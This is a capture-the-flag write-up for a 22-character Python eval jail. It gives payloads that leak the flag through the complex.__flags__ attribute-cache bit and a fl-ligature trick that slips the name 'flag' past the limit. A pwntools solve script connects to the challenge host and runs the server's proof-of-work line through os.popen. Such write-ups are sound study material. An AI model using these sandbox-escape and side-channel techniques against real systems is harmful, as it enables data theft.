For this challenge, we are given a python file with the following source:
#!/usr/local/bin/python3
import signal
from time import sleep
from random import random, getrandbits
flag = open('flag.txt').read()
def die(*args):
raise SystemError
LENGTH_LIMIT = 22 # pretty sure you can't do anything sus with this.
q = input("do whatever: ")[:LENGTH_LIMIT]
r = input("do whateverer: ")[:LENGTH_LIMIT]
signal.signal(signal.SIGALRM, die)
signal.setitimer(signal.ITIMER_REAL, 0.001)
try:
eval(q, {'__builtins__':{}, "flag":flag}, {'__builtins__':{}, "flag":flag})
except:
pass
try:
sleep(0.002)
except:
pass
del flag
safe_builtins = {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type} # types are safe right?
sleep(random()) # no side channels :D
try:
eval(r, {'__builtins__': safe_builtins}, {'__builtins__': safe_builtins})
except:
passSo, what exactly is the challenge here? Firstly, we are limited to 22 characters per eval payload. Given the short length, it is unlikely we are escaping the sandbox and accessing globals.
The first eval payload has the flag in scope, but no builtins at all. Additionally, it appears there is a strict timeout with a random delay (sleep(random())) added to throw off timing based side channels.
The second eval payload has no such flag in scope, however, it has access to all types. Let's look at what we have:
>>> {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type}
{'__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>}At first, it appears maybe we can do something with the type or __loader__ classes, or even memoryview if the flag didn't get cleared from memory, but with the short char limit and no direct access to the flag, there doesn't appear to be much we can do.
From here, it appears we have two options: either bypass the signal in the first eval, or somehow leak the flag across contexts from the first eval to the second eval.
There is a third option, of doing a heap leak and modifying memory addresses that we can retrieve later or reading the flag that never got GC'd (this was an issue for the 100 char limit version of this when playtesting...), but you almost certainly are not able to do this in 22 characters.
The second option looks slightly dubious, so let's first examine the first option. The signal, random delay, and char count actually prevent quite a lot of the typical timing based side channels here. However, it doesn't prevent everything, and in addition to timing based side channels, if we can cause a conditional segfault, this also leaks information about the flag, as segfaults instantly terminate the connection.
The unintended here stems from the fact that conditionally creating a large array stalls the process enough so that the alarm triggers a few seconds later than it should, meaning that it did not successfully block the timing based side channel. This completely bypasses the second eval :(.
So, let's see what the second option has to offer. How do we leak the flag across the eval contexts?
At first, it seems like we might be able to modify the __module__ attribute of a builtin to leak the flag. But, there's an issue. We don't have anything in the first eval to modify the module attribute of, since it requires a builtin c function which we don't easily have access to. And as far as I know, in 22 characters, this is not feasible.
However, by solving what numbers?, we get a stroke of inspiration: the __flags__ attribute of types!
When enumerating the possible numbers for what numbers?, I came across a strange behavior where it seemed like certain flags, e.g. float.__flags__, seemed to have 2 different values, varying by the 19th bit. Could this possibly be what the challenge name means? It turns out that this 19th bit of __flags__ is used as something like an attribute cache mechanism, where it gets set to 1 if an attribute of an instance of that class has been accessed. It turns out, this is enough to leak the flag!
So, after a bit of searching for types, we might be able to come up with a basic first eval payload: flag[x]>'x'or .1.a, which is 19 characters for indices of 2 digits. But, for the second eval, we have a problem. The goal for the second eval is to somehow stall the server for a long enough time that it noticably does not send an EOF on time. with float.__flags__, the numerical difference is too small to notice without expending a large amount of characters to side channel.
And here, we get to possibly my favorite part of this challenge: complex numbers.
With complex numbers, we can create as short of a first eval payload as the float case, with flag[x]>'x'or 1j.a.
Additionally, the value of __flags__ is initially 5376, which becomes 529664 after attribute access has been cached. With a little bit of effort, we can condense the second payload into the 23 character 2**complex.__flags__**2.
We now need to golf 1 more character. And finally, our last trick, an inherently uncontrived usage of the fl ligature. Using the fl ligature, we have our 22 char payloads:
flag[x]>'x'or 1j.a
2**complex.__flags__**2
Now, all that needs to be done is to write a solve script to leak the flag, which is provided below:
from pwn import *
import time
context.log_level = 'critical'
#context.log_level = 'debug'
p = "\ufb02ag[%s]<'\\x%x'or 1j.a"
p2 = "2**complex.__\ufb02ags__**2"
flag = ""
cur = 0
while not len(flag) or flag[-1] != "}":
bit = 2**6
ch = 0
while bit:
io = remote('challs1.pyjail.club', 6543)
io.recvuntil(b'proof of work:\n')
pow = io.recvline().decode()
sol = os.popen(pow).read()
io.sendafter(b'solution: ', sol.encode())
io.sendline((p%(cur, ch + bit)).encode())
io.recvuntil(b"rer: ")
io.sendline(p2.encode())
time.sleep(2)
eof = False
try:
io.recv(1,timeout=0)
except EOFError:
eof = True
if not eof:
ch += bit
print(f'ord(flag[{cur}]) >= {ch}')
else:
print(f'ord(flag[{cur}]) < {ch+bit}')
io.close()
bit >>= 1
flag += chr(ch)
cur += 1
print(flag)It struggles a bit on accuracy, but by running the script a few times, it is able to extract the whole flag in a reasonable amount of time.


